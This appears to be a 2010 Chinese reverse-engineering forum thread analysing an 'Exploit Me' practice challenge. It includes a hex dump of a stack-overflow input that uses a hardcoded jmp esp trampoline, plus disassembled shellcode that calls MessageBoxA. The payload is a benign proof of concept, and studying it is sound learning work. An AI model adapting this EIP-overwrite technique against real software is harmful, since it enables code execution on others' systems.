飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 4615|回复: 3

[原创] Analysis Exploit Me .

[复制链接]

该用户从未签到

发表于 2010-6-1 14:52:50 | 显示全部楼层 |阅读模式
本帖最后由 [email protected] 于 2010-6-1 15:58 编辑




原文 :https://www.chinapyg.com/viewthr ... &extra=page%3D1

看到EM 刚好闲了下,于是蛋疼找虐玩了一下。 不太会写教程之类 仅仅是个LOG 见笑了。

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000   31 32 33 34 35 36 37 38  39 30 61 62 63 64 65 66   1234567890abcdef
00000010   12 45 FA 7F 33 DB 53 68  2E 50 59 47 68 39 36 40   .E?3跾h.PYGh96@
00000020   39 8B C4 53 50 50 53 B8  EA 07 D5 77 FF D0         9嬆SPPS戈.誻

分析如下 。 有问题可以跟帖问。 我郁闷了 写了半天的帖子没发出去 都丢掉了。 放个LOG算了。

12 45 FA 7F 为地址 0x7ffa4512 内容 jmp esp 为系统的一个跳板 但是本例用了硬编码

33 DB 53 68  2E 50 59 47 68 39 36 40   .E?3跾h.PYGh96@
00000020   39 8B C4 53 50 50 53 B8  EA 07 D5 77 FF D0         9嬆SPPS戈.誻
这段为shellcode 内容如下


xor     ebx, ebx
push    ebx   // ‘0’
push    0x7070726F
push    0x6F796877  // 要输出的字符传 内容就是 whyoorpp
mov     eax, esp
push    ebx  // 标准对MessageBox调用  参数右向左
push    eax
push    eax
push    ebx
mov     eax, 0x77d507ea  // MessageBoxA硬编码地址。。
call    eax

对比如下。

int MessageBox(

    HWND hWnd,        // handle of owner window
    LPCTSTR lpText,        // address of text in message box
    LPCTSTR lpCaption,        // address of title of message box  
    UINT uType         // style of message box
   );




---------------------shellcode

Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000010   12 45 FA 7F                                        .E?

利用地址0x7ffa4512上的 jmp esp作為跳板.修改EIP內容

此刻堆棧上佈局如下

ESP ==>  0012FB28      6853DB33
ESP+4    0012FB2C      7070726F
ESP+8    0012FB30      79687768
ESP+C    0012FB34      53C48B6F
ESP+10   0012FB38      B8535050
ESP+14   0012FB3C      77D507EA    user32.MessageBoxA

-----------------

jmp esp 后 也就顺序执行了以上命令 构造了一段对MessageBoxA函数的调用  

如是。 如有错误请指出 谢谢围观。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?加入我们

x

评分

参与人数 1威望 +40 收起 理由
月之精灵 + 40 您的贴子很精彩,希望能再次分享!

查看全部评分

PYG19周年生日快乐!

该用户从未签到

 楼主| 发表于 2010-6-1 14:57:03 | 显示全部楼层
简直是杯具 刚才的帖子没发出来

把LOG仍上来算了
PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2019-3-12 17:25
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    发表于 2010-6-1 15:33:40 | 显示全部楼层
    顶一下,终于有人写出分析的帖子了!
    PYG19周年生日快乐!

    该用户从未签到

    发表于 2010-6-1 15:41:14 | 显示全部楼层
    嗯,顶一下,不错
    PYG19周年生日快乐!
    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表